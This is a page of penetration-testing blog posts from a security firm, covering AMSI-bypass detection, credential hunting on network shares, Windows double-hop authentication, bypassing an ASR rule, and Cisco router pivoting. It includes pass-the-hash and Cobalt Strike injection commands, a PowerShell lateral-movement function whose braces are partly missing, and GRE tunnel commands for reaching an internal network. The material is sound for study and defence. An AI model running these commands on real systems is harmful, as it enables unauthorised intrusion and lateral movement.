• Your shield in Cyber Security

Detecting AMSI Bypass

AMSI is a Windows feature used by programs such as PowerShell to ask an Anti-Virus engine, while a process is running, “Is this line of code I’m about to run malicious?” It is an effective tool against certain obfuscation and evasion techniques, as AMSI is queried immediately before each line is run, after any deobfuscation performed by the attacker.


AMSI in action


To check “is this data malicious”, PowerShell (or whatever other process chooses to utilise it) needs to specifically ask AMSI to go do its thing. This functionality is provided by amsi.dll. Thus we can tell if a program potentially uses AMSI by the presence of this DLL in its loaded modules.


amsi.dll within the PowerShell process, using the ProcessHacker tool


Any process has full permissions to modify its own internal memory space. As amsi.dll is loaded within the memory space of the PowerShell process, an attacker can use their PowerShell commands to attack AMSI itself.


One technique which we’ve had success with on recent engagements works by finding the in memory location of the AMSI function. The code modifies the memory protections to be read, write, execute, and the function is then re-written to always return a negative (“this is not malware”) result. All future AMSI checks will run this edited code, thus avoiding future AV checks [1].


We run a malicious-looking command, ‘Invoke-Mimikatz’ and it is blocked. We run the AMSI bypass, and it runs successfully.


We can see this in WinDbg – the initial state of this function looks like this:


A normal function prologue


Following our AMSI patch, WinDbg shows the modified code:


The patched code sets eax (the error code returned by the function) to ERROR_INVALID_PARAMETER and immediately returns.


As part of any offensive exercise, we are always thinking of ways in which we could have been caught; both to improve detection for our customers, as well as to keep our tradecraft fresh. One obvious answer to the question of detecting AMSI bypasses is “better Anti-Virus”: one which could catch us at the moment that we ran the AMSI bypass itself. But this seems fragile; it is a bit of a cat and mouse game, and AMSI bypasses have proven to be relatively easy to come by. So what about detecting it after the fact? What fingerprints does this technique leave for us to detect it?


Detecting the technique

First of all, if we run the above AMSI bypass and then look at the memory in the tool ProcessHacker, we can see the page of RWX memory where the AMSI bypass has occurred:


RWX memory in amsi.dll


This is quite suspicious; but if an attacker were to revert the memory back to just Readable and Executable, then all would appear normal again:


Back to Readable and Executable only


What other fingerprints could be left over from this? Well, if the AMSI code itself has been modified, we could perform an in-memory integrity check against the AMSI binary: check whether the assembly code in memory is identical to what is in the DLL on disk. F-Secure recently released a tool to do exactly this: I highly recommend a read of their blog post, which explains the process of an attacker patching AMSI in far more detail [2].


Let’s keep the cat-and-mouse game going, though: what could an attacker do to get around this detection? Well, after disabling AMSI, the attacker can run their malicious code: create a new thread in the process to run arbitrary shellcode, and then revert the in-memory AMSI code back to its original state; effectively re-enabling AMSI. They now have a fully featured shell through their separate thread. As long as the developer of the malware doesn’t specifically ask AMSI to scan its own malware, they can continue with impunity, even with AMSI enabled. A defender who looked at the state of memory at this point would see everything exactly as it was in the first place…


…or would they?

(The answer is no, otherwise this would have been a horribly misleading setup).


To get to our detection technique, we first need to recap a fundamental detail of how Windows memory management works behind the scenes.


If two running processes use the same DLL (a very common event; for example, every single process loads ntdll.dll), Windows contains an optimisation to save space in RAM: rather than loading that DLL into RAM dozens of times, it loads it once, and each process refers to that same chunk of RAM.


But what if I, a programmer, edit that code at runtime (like we did above with the AMSI bypass). Since other processes could be referring to that shared physical memory, would their memory be edited as well? Surely that would be a serious security problem if that were the case!


Fortunately, sanity does indeed reign, and editing this shared RAM does not affect other processes. However, it’s interesting to look at how Windows handles this situation. Before Image memory (DLL, EXE, etc.) is edited, Windows takes a copy of this chunk of memory, and makes it private to the process doing the editing. Thus all edits to it only affect that one process: all other processes continue to share memory, but our edited one gets its own separate, private page.


This is known, appropriately, as “Copy on Write” memory: initially it’s shared memory, but upon being written to, our process gets its own personal copy of it, while everyone else keeps using the shared copy.


So with that understanding of the internal mechanics of what’s going on when we patch out the AMSI code, how does this help us with detection?


Well, Windows provides some system calls, allowing us to ask, for a given memory address in a given process, “Is this memory shared?” – or effectively, “Is it copy-on-write?”


If we find the location of the amsi.dll in memory, and find that it is non-shared memory, this is a strong indication that this memory has been modified in the past, indicating that an AMSI bypass has been run.

One problem with this technique is that this system call works by querying the current working set; that is, the memory of a process that is currently in RAM. If the copied page has been paged out to disk, I could not find a way to ask Windows “is this private memory”, other than by accessing kernel internals itself. We can force this memory to be loaded into memory by attempting to read its memory immediately before reading it. This creates a very unlikely race condition: that we load it into RAM, and then before we run the check, it is paged back out to disk; but this seems highly unlikely.


The question then is whether we could revert this memory back to be shared memory? In practice, no: even if the code is reverted to its original state, the page of memory is still marked as non-shareable. In theory Windows could theoretically scan every formerly-copy-on-write page to see if it has been reverted to its original state, and then merge it back to a “shared memory” state; but the amount of processing it would take to save a few kilobytes of RAM doesn’t seem worth it.

In no way is this a perfect detection mechanism. An attacker could edit other code paths that have the same effect, requiring us to look for other patched loctaions. There are other AMSI bypass techniques which only edit R/W memory, which will not cause this signature. And once the process terminates, this signature will be lost. An attacker could launch a new process or inject their malware into a separate process. However, some of these other techniques generate other artifacts (such as ETW events), and the more we can do to force attackers into predictable patterns of behaviour, the better.


We’ve put our proof-of-concept detection code up on GitHub.

Stay Up to Date

Latest News

Searching Network Shares for Domain Admin

Currently one of the most effective methods of domain privileges escalation is finding open shares with sensitive information, server backups, database passwords, user passwords, or modifiable executables or scripts. This method often gets us Domain Admin privileges and has been successful on several recent client engagements.


Some of the real world examples include finding Domain Controller backups (with the ability to extract KRBTGT), plaintext domain admin credentials, database passwords (which allowed us to create a Drupal admin and shell the server), writable web roots and even the ability to backdoor PowerShell scripts that executed daily with Domain Admin privileges.


Locating open shares is painless with tools like SharpShares and Find-DomainShare but triaging through the often endless list of open shares can be time consuming. A few tools exist (such as SharpSearch and Find-InterestingDomainShareFile), but nothing with the level of automation I wanted.


I decided to combine SharpShares and SharpSearch to create a tool capable of searching open file shares for the low-hanging fruit that normally gets us Domain Admin. These will save hours of manual searching (especially when limited to a command line) on internal and red team engagements.


The tool first queries the domain controller for all computer objects, asks each computer for a list of shares and determines read access, creates a list of files with specific extensions or filenames and then checks if the selected files contain any of the keywords (such as password, ConvertTo-SecureString, secretAccessKey, PRIVATE KEY, decryptionKey, etc).


You’ll be able to find the tool available on our GitHub in the near future once it’s received more testing in production. We plan to continuously improve the match criteria to find interesting files and add the detection of potential backdoor opportunities in a future release.

Stay Up to Date

Latest News

Windows Credential Management, Logon Sessions and the Double Hop Problem

I wanted to provide a quick overview on Windows credential management in relation to penetration testing, why passwords are not always stored in memory and the Double Hop problem.


Windows creates a logon session upon a successful authentication. Each logon session will be backed by several authentication packages. These authentication packages store the credential material. The logon type and protocol will determine what credential material gets stored.

All processes and threads have an access token that is tied to a logon session. If a process or thread wants to execute in a different security context than it must acquire the appropriate access token. This concept is called impersonation.


During a Network logon (type 3 – e.g. WMI, PsExec, SMB, etc) the client proves they have credentials but does not send them to the target. A logon session is created but no sensitive credential material will exist on the target. Processes or threads which have an access token tied to this logon session will NOT be able to authenticate to network resources within the context of the user. This is often termed the Double Hop problem.


During an Interactive (local console) or Remote Interactive (RDP) logon (types 2 and 10 respectively) the client sends the credentials to the target. The credentials are now stored within the credential material of an authentication package for that logon session. Processes or threads which have an access token tied to this logon session WILL be able to authenticate to network resources within the context of the user.


On a side note, if you have even wondered how the Mimikatz sekurlsa::logonpasswords command works, it iterates over all logon sessions and dumps the credential material in each default authentication package.


You can solve the Double Hop problem by acquiring an access token for a logon session (impersonating) or injecting code into a process that contains the required access token. In Cobalt Strike this would be the commands:

1 steal_token [pid]
2 inject [pid] (x86|x64) [listener] 
3 shinject [pid] (x86|x64) [/path/to/shellcode.bin]
4 spawnu [pid] [listener]   

If no logon sessions exist with the credential material you require, you can create one using the Cobalt Strike commands:

1 make_token [DOMAIN\user] [password]
2 pth [DOMAIN\user] [HASH]
3 spawnas [DOMAIN\user] [password] [listener] 

Lastly you can directly pass the credentials to the tool performing the network operations like so:

$pass = ConvertTo-SecureString 'Winter2019' -AsPlainText -Force;
$cred = New-Object System.Management.Automation.PSCredential('DOMAIN\Account', $pass);

Invoke-WmiMethod -Credential $cred -ComputerName "Target" win32_process -name create -argumentlist 'powershell -ep bypass -noP -enc JABjACAAPQA...'
Invoke-Command -Credential $cred -ComputerName "Target" -ScriptBlock {powershell -ep bypass -noP -enc JABjACAAPQA...}
# https://github.com/Kevin-Robertson/Invoke-TheHash
Invoke-SMBExec -Target Target -Domain DOMAIN -Username Account -Hash FFB91205A3D288362D86C529728B9DC0 -Command "powershell -ep bypass -noP -enc JABjACAAPQA..." -Verbose
Invoke-WMIExec -Target Target -Domain DOMAIN -Username Account -Hash FFB91205A3D288362D86C529728B9DC0 -Command "powershell -ep bypass -noP -enc JABjACAAPQA..." -Verbose

Hopefully this gives you a better understanding of when you are allowed to authenticate to network resources during a penetration test.

Stay Up to Date

Latest News

Ionize and Cogito Group Strategic Partnership

Ionize and Cogito Group today announced a strategic partnership that will enable both companies to significantly strengthen the breadth and depth of their cyber security capabilities.


Ionize and Cogito Group are both successful Australian cyber security companies with a global presence, with shared heritage as local Canberra start-ups. As Ionize and Cogito continue to broaden their portfolios, the partnership arrangement encourages both companies to collaborate, share resources, and support each other’s ventures.


The primary objective of the partnership is to work together to add value to each other’s business through the delivery of strategic projects. By sharing complementary services – with Ionize specialising in threat detection, adversary tactics and governance risk & compliance, and Cogito Group specialising in authentication, cloud security, identity management and data protection – Ionize and Cogito Group will be able offer a larger suite of services to our customers, which creates a greater capacity to meet our customers’ expectations.


Stay Up to Date

Latest News

Lateral Movement in an Environment with Attack Surface Reduction

This blog post will discuss techniques to bypass the Attack Surface Reduction (ASR) rule “Block process creations originating from PSExec and WMI commands” which I came up against during a recent engagement.


The simplest solution to bypassing these restrictions could be to use a different lateral movement method such as Windows Remote Management (WinRM), Remote Desktop Protocol (RDP) or Distributed Component Object Model (DCOM) applications. Let’s assume these are all out of the question for the sake of the blog post.


The PSExec lateral movement method (also referred to by the name SMBExec) uses Remote Procedure Calls over SMB to call into the Service Control Manager and create a Window Service for code or command execution. I tested PSExec with the ASR rule enabled using the Invoke-TheHash toolkit and nothing prevented creating a Windows Service to create a process. I read online that the ASR rule only impacts the Sysinternals PsExec implementation which further tested proved correct. So, the simplest bypass would be to use a custom implementation of the PsExec method such as Invoke-TheHash.


Another bypass method would be to use the Windows Management Instrumentation (WMI) service. The WMI service will lookup requests in a repository containing the class definitions to determine a responsible provider. The WMI providers contain the functionality and implement the classes and methods. The most common WMI lateral movement implementations leverage the Win32_Process::Create method within the Win32 Provider to launch a process on the target machine. This method is blocked when the ASR rule is enabled, and often monitored by Endpoint Detection and Response (EDR) software.


This does not prevent an attacker from leveraging other providers, classes and methods for lateral movement. WMI contains powerful functionality with a diverse set of providers. The Win32_Service class exposes functionality to manage services on a target machine. I used this class to bypass the ASR rule and perform lateral movement with the PowerShell function below. The code leverages the Win32_Service class to create, start and delete a service on the target machine. The service is configured to spawn a command shell and run the specified command. This setup can be used to launch a Cobalt Strike, Empire, Covenant, etc implant in an ASR enabled environment.

WMI Service Lateral Move

function Invoke-WMIServiceLateralMove {
	Param (
        [String]$ServiceName = "MemProtectSvc",
        [String]$ServiceDescription = "Memory Protection"

    $Command = "%COMSPEC% /C " + $Command

    Write-Host ("Creating Service {0} on {1}" -f $ServiceName, $ComputerName)
    $ret = Invoke-WmiMethod -ComputerName $ComputerName -Class win32_service -name create -ArgumentList @($true,$ServiceDescription,2,$null,$null,$ServiceName,$Command,$null,16,'Automatic',$null,$null)
    # ArgumentList MUST be (DesktopInteract, DisplayName, ErrorControl, LoadOrderGroup, LoadOrderGroupDependencies, 
    # Name, PathName, ServiceDependencies, ServiceType, StartMode, StartName, StartPassword)
    if ($ret.ReturnValue -ne 0) {
        Write-Host ("Service Creation Failed! Output:")
        Write-Output $ret 
    Write-Host ("Starting Service {0} on {1}" -f $ServiceName, $ComputerName)
    $service = Get-WmiObject -ComputerName $ComputerName -Class Win32_Service -Filter "Name='$ServiceName'"
    $ret = $service.startservice() # this will block because the executable is not a real service

    Write-Host ("Deleting Service {0} on {1}" -f $ServiceName, $ComputerName)
    $ret = $service.StopService()
    $ret = $service.Delete()
    if ($ret.ReturnValue -ne 0) {
        Write-Host ("Service Deletion Failed! Manual cleanup required for {0}" -f $ServiceName)
        Write-Output $ret 
	Write-Host "Done"

I used Windows Services instead of directly accessing the registry because it allowed starting and stopping the service for instant lateral movement. Stealthier approaches exist and the Win32_Registry class could be used to modify services, scheduled tasks, start-up entries, ASR rules, etc. These were the first things that come to mind when thinking about lateral movement with the methods available in the Win32_Registry class.


There are some creative methods blogged about online for lateral movement without the Win32_Process class. These include installing MSI packages, VBS scripts, class derivation and loading a custom provider.


The ASR rule should not be considered a security boundary and can be easily bypassed using creative approaches. I recommend disabling PSExec and WMI if they are not required within an environment to make lateral movement move difficult. If PSExec and WMI are required, they should be monitored for unusual behavior as this could indicate malicious activity.

Stay Up to Date

Latest News

Cisco Pivoting for Penetration Testers

Updated: Jul 21, 2020

On a recent engagement we faced a difficult target with minimal external attack surface. Their website had a few flaws, but it was hosted externally with a third party. Even if we could compromise the site, it likely wouldn’t result in the internal network access we were searching for.

Thanks to Shodan, we identified a Cisco router which was externally-accessible. This is a rundown of how we leveraged this device into a full network compromise.


Disclaimer: This information would probably be nothing new for Cisco gurus or someone with a CCNA; but hopefully this post grants some security folk out there enough knowledge to turn a router compromise into internal shells in the future. As always, take extreme care when dealing with any critical network infrastructure.


The Router


Having identified a router which belonged to the target, we performed the typical enumeration we complete on every device: port scans, default password checks, SNMP checks, etc. Fortunately for us, the router had the public SNMP string set to “public”, and the private string set to the default value “private”. With access to the private string, tools such as Metasploit’s scanner/snmp/cisco_config_tftp module can be used to pull down the running configuration, or more specifically, the hashes of passwords being used on the device. The three-letter password was not particularly resilient to cracking, and in a short few minutes we were on the router with full permissions.


Great, we have access to the router – now what? We conducted an in-depth analysis of pivoting methods used for penetration testers when encountering Cisco devices. Unfortunately for us, there was very limited information out there for solving the particular constraints facing us on this engagement.


The Network


What we had done so far looked similar to the above picture. We had compromised the router via its external interface ( and had pulled down its configuration file. The internal LAN was reachable via one of the interfaces with the IP address range of  There were further complications and interfaces, but they aren’t necessary detail for the process we went through. One of our biggest hurdles was the configuration of the internal network. Clients were being assigned an IP address via an internal router located at This was also their default gateway for any outbound traffic. The significance of this will come into play shortly.


Failed Attempts


The initial naive plan was to simply port-forward a connection from the external interface through to the internal LAN, resulting in quick-and-dirty access to specific services, allowing us to obtain shells before tearing down the now-obsolete port forward. This would be a simple command for the Cisco router to perform Static Network Address Translation (SNAT). We’ll get into actual commands in the successful attempts section, but this would essentially be saying to the Cisco device, “When you receive an incoming packet on, always translate this to the IP address and port and forward it on via the internal interface.” With luck, the RDP service on would respond, the packet would be forwarded back out via, we’d enter in some stolen credentials and success! Unfortunately for us this didn’t happen.


As you may have guessed from our earlier information, the problem was that the packets were not in fact coming back to, but rather, seeing that the source address ( was outside of their subnet, the default gateway ( was being used to try to reach our IP! To this day I don’t know why the device couldn’t route externally. As with most security problems, these curve balls create some interesting problems that people don’t usually see. The correct solution to this routing issue would be “Reconfigure the gateway to allow routing out to our IP address”, but as we don’t control that device it’s not an option. A pictorial version of our problem is represented below.


Okay, so at the router, we’re translating the destination address to be the internal LAN, but that leaves us with an “invalid” source address for the purposes of routing. We can’t change the router to do source address translation instead of destination address translation because we’d then have no way of getting packets to the correct IP address (you can’t just set a route on your own computer saying the gateway for is the routers across the internet would not know how to honour your destination IP). What we need is some form of double NAT; that being packets should exit the router having translated both the source and destination address. So, how to do double NAT on a Cisco 1841? The answer is not in the first 40 pages of Google results – trust me, I looked. It appears that this is possible on Cisco ASA devices, but not possible on a Cisco 1841. I attempted all manner of loopbacks / forwarding rules / NAT chains etc with no luck. I could not get the Cisco device to translate both source and destination IP addresses. If anyone knows how to do this on a Cisco 1841 I’d love to hear from you.


Our Savior – Generic Routing Encapsulation (GRE)


GRE is a protocol that wraps up other traffic and tunnels it through to a designated endpoint. Think of it as similar to a VPN in some ways. The key information is that this sorts out our “destination” address problem. We can set the destination to now be our target LAN subnet; an address in the range; and tell the tunnel to “take care of the rest” for us in terms of getting the traffic to the target Cisco router. Anyway, enough theory, here are the commands. Here we set up a GRE tunnel with the subnet, assigning the Cisco device, and our device

// On the attacking machine
modprobe ip_gre
iptunnel add mynet mode gre remote <target external ip> local <attacker external ip> ttl 255
ip addr add dev mynet
ifconfig mynet up
route add -net netmask dev mynet

// On the Cisco device
config term
interface Tunnel0
ip address
ip mtu 1514
ip virtual-reassembly
tunnel source <Interface of WAN on the Cisco>
tunnel destination <Attacking Machine IP> 

After these commands are run on both devices, you should be able to ping from your attacking machine, and ping from the Cisco router. We have effectively created the following picture.



NAT – New and Improved


Now we’re not quite out of the woods yet. If we examine the traffic path we still have our return address problem (pictured below). The key successful step that we’ve taken however is that we’re no longer using up our “one” NAT rule on the Cisco 1841 to get our initial destination packet into a form that is workable for us. Revisiting our original port forwarding idea, we could continue to do ad hoc SNAT rules; but we’re not going to go through all this effort to address one port at a time. There has to be a better way.


Enter – Dynamic NAT. This is more commonly-seen on your typical home setup where you have multiple devices behind your router, and then you’re “NATing” your traffic out and presenting one public IP address to the internet at large. When you consider it that way, it’s almost exactly what we want to do in this situation, however the “internet at large” is actually our target LAN. If we can perform this type of NAT, as far as the target computers are concerned, the traffic source would be coming from, and they should return the traffic to that IP address. The NAT table on the Cisco router will remember what incoming traffic produced that specific IP / port source combination, and map it back to our address appropriately. Again this is the same thing done by your home router when receiving traffic back from the internet after you make a web request. Another key point to remember is because the source address is being translated to, this is within the subnet of the target LAN. As a result, they ignore the gateway of which was giving us problems in the past!

Again, enough theory, what are the commands?

// On the Cisco Device
config term
interface Tunnel0
ip nat inside          
interface <Internal Lan Interface>
ip nat outside
config term
access-list client-list permit ip         
ip nat enable       	 
ip nat source route-map test interface <Internal LAN Interface> overload
ip nat inside source list client-list interface <Internal LAN Interface> overload 

Success! With this configuration it is now possible to route traffic to the internal network from our attacking machine over a GRE tunnel. All of the range is reachable from our attacking machine, and no special proxytunnels-like program is needed to access them. A final picture to show what the setup looks like. Hopefully this saves you the time it took me to figure it out!


Happy Hacking – Peleus

Stay Up to Date

Latest News